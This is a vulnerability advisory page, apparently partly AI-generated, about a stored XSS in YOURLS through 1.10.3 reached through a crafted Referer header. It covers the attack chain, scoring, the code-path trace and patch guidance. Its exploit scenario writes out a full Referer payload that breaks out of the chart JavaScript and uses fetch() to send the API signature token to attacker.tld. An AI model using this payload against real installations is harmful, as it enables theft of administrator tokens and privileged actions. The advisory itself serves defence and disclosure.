Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend crafted Referer header to any valid short URL
-
DeliveryYOURLS sanitizer passes malicious host to log table
-
ExploitAdministrator opens poisoned short URL statistics page
-
Executionyourls_google_array_to_data_table() renders unescaped label into inline JavaScript
-
PersistAttacker JavaScript executes in YOURLS origin
-
ImpactExfiltrate API signature token or perform privileged same-origin actions
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attack has two phases with distinct conditions. Poisoning phase: the attacker requires only network reachability to the YOURLS instance and knowledge of any valid short URL - no authentication, no session, no special configuration. Detonation phase: a user with access to the statistics page (yourls-infos.php) must visit it for the specific poisoned short URL after poisoning. In a default private (YOURLS_PRIVATE_INFOS=true) installation, detonation requires an authenticated administrator to view statistics; in documented public configurations (YOURLS_PRIVATE_INFOS=false), any unauthenticated visitor to the stats page can trigger detonation. Limiting factors: the attacker must identify at least one valid short URL slug on the instance; the specific poisoned short URL's statistics page must be viewed (not just any page); detonation does not occur on the redirect itself, only on the statistics page load. There is no dependency on server-side configuration beyond a default YOURLS installation with statistics enabled. |
| Impact | The provided CVSS 3.1 vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N scoring 8.2 is accurate and well-calibrated. The PR:N metric reflects that the poisoning step requires no authentication whatsoever; UI:R correctly captures that payload detonation requires a victim to open the statistics page; S:C reflects the privilege escalation from unauthenticated external attacker to YOURLS-origin JavaScript execution; and the high integrity / low confidentiality split accurately reflects the attacker gaining control over privileged same-origin actions (I:H) while gaining only API token and session data exposure (C:L) rather than full system access. No EPSS score was provided in the input data, so exploitation probability cannot be quantified. No CISA KEV listing is present, confirming no confirmed active exploitation at time of analysis. However, the GHSA advisory provides an explicit functional payload and a complete source-to-sink trace, making independent weaponization straightforward - the gap between this vulnerability and an exploitable public tool is minimal. Real-world risk is elevated for any YOURLS instance where administrators regularly review per-link statistics (a normal workflow), particularly instances with YOURLS_PRIVATE_INFOS=false where the detonation step requires no attacker-side coordination with an authenticated victim. |
| Exploit ScenarioDerived | An unauthenticated attacker identifies any valid short URL on a target YOURLS instance (e.g., via a public shortlink shared on social media) and sends a single HTTP GET request to it with a Referer header value of http://x',1],['marker',fetch('https://attacker.tld/?t='+btoa(document.querySelector('[name=signature_token]').value))],['z.tld/path. YOURLS stores the crafted referrer host in its log table. When the site administrator next opens the statistics page for that short URL, the chart builder renders the attacker's string directly into inline Google Charts JavaScript, executing the fetch in the YOURLS origin and silently exfiltrating the API signature token to the attacker's server. No public exploit tool has been identified beyond the alert(1) proof-of-concept in the GHSA advisory, but the attack is straightforward to implement from the advisory's technical detail alone. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 21, 2026
Stored XSS in YOURLS 1.5.1 through 1.10.3 enables unauthenticated attackers to inject arbitrary JavaScript into per-link statistics pages by sending a crafted HTTP Referer header to any existing short URL - no account or special access required for the poisoning step. When an administrator or public stats-page visitor subsequently opens the affected short URL's statistics page, attacker-controlled code executes in the YOURLS origin, granting access to the API signature token, admin-visible session data, and privileged same-origin actions. No CISA KEV listing or independently confirmed public exploit exists at time of analysis, though the GHSA advisory includes a functional proof-of-concept payload that makes weaponization trivial.
RemediationAI
Vendor-released patch: 1.10.4. Upgrade YOURLS to version 1.10.4 immediately by downloading from https://github.com/YOURLS/YOURLS/releases/tag/1.10.4 or, for composer-managed deployments, running composer update yourls/yourls. The patch applies yourls_esc_js() escaping to all labels in yourls_google_array_to_data_table() and adds strict hostname validation in yourls_get_domain() that rejects malformed hosts before they reach the chart builder. If immediate upgrade is not possible, restrict web server access to yourls-infos.php at the nginx or Apache level (e.g., deny all from the location block) - this prevents detonation entirely but disables per-link statistics viewing for all users, including administrators. A less disruptive short-term control for instances with public statistics is to set YOURLS_PRIVATE_INFOS to true, which limits the detonation surface to authenticated administrators; however, authenticated admins who view statistics remain at risk. Neither workaround eliminates stored malicious payloads already in the log table - a database audit of the referrer column for values containing single quotes, brackets, or JavaScript keywords is advisable after patching.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
YOURLS (cpe:2.3:a:yourls:yourls:*:*:*:*:*:*:*:*) is a self-hosted PHP URL-shortening application with per-link analytics. The vulnerability is CWE-79 (Stored XSS) arising from an unsafe source-to-sink data flow: the HTTP Referer header is read by yourls_get_referrer() in includes/functions.php:240-243, passed through yourls_sanitize_url_safe() which removes some unsafe characters but permits single quotes, brackets, commas, and parentheses, then stored in the log table via yourls_log_redirect() at includes/functions.php:516-545. When the statistics page (yourls-infos.php:60-82) aggregates referrer data, it calls yourls_get_domain() to extract the host portion of each stored URL, then passes the result through yourls_stats_pie() and into yourls_google_array_to_data_table() at includes/functions-infos.php:338-355, which manually concatenates labels into inline Google Charts JavaScript as ['$label', ...] without any JavaScript-string escaping. A crafted host value such as x',1],['marker',alert(1)],['z.tld survives the sanitizer intact and breaks out of the chart data literal at render time, causing arbitrary script execution. The fix in 1.10.4 adds yourls_esc_js() to all label concatenations and introduces strict hostname validation via regex in yourls_get_domain() that rejects any host containing characters outside the set [a-zA-Z0-9._-] (with IDN support via idn_to_ascii()).
Know when Yourls gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N
Unauthenticated network poisoning with victim-triggered detonation (UI:R), scope change to YOURLS origin, high integrity from privileged same-origin actions, low confidentiality from token exposure only.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
YOURLS is a self-hosted, customizable URL shortener written in PHP. From 1.5.1 until 1.10.4, YOURLS stores the HTTP Referer header through yourls_get_referrer(), yourls_sanitize_url_safe(), and yourls_log_redirect(), then aggregates the value in yourls-infos.php and passes the derived domain through yourls_get_domain(), yourls_stats_pie(), and yourls_google_array_to_data_table(). The chart builder concatenates labels into inline JavaScript without JavaScript-string escaping, so an unauthenticated attacker can poison the statistics of an existing short URL with a crafted referrer. When an administrator or public stats-page viewer opens the affected statistics page, attacker-controlled JavaScript executes in the YOURLS origin and can access admin-visible data, the API signature token, and privileged same-origin actions. This issue is fixed in version 1.10.4.
Latest POC
1 PoC candidate from github (unverified)
Sign in to open the public PoC links collected for this CVE.
Executive ViewAI
YOURLS URL shortening platform (versions 1.5.1-1.10.3) contains a stored cross-site scripting vulnerability allowing unauthenticated attackers to inject malicious code into link statistics pages, exposing administrator API tokens and session credentials. When administrators or any user views an affected short-link's statistics page, attacker-controlled JavaScript executes with full application context, enabling unauthorized API access and privileged same-origin actions on the YOURLS instance. Organizations using vulnerable versions risk compromised URL-shortening infrastructure and exposed administrative credentials.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
YOURLS through 1.7.3 is affected by a type juggling vulnerability in the api component that can result in login bypass.
yourls is vulnerable to Improper Restriction of Rendered UI Layers or Frames. Rated high severity (CVSS 8.8), this vulne
Cross-Site Request Forgery (CSRF) in GitHub repository yourls/yourls prior to 1.8.3. Rated high severity (CVSS 7.4), thi
yourls is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Rated medi
Cross-site scripting (XSS) vulnerability in the administrator panel in Yourls 1.7 allows remote attackers to inject arbi
yourls is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Rated medi
Multiple Stored Cross Site Scripting (XSS) vulnerabilities exist in the YOURLS Admin Panel, Versions 1.5 - 1.7.10. Rated
Path traversal in YOURLS before 1.10.5 lets an attacker escalate a pre-planted PHP file into code execution: the keyword
EUVD-2026-64149
GHSA-5h77-88j3-r659
NVD
CVE.org
EPSS
Exploit-DB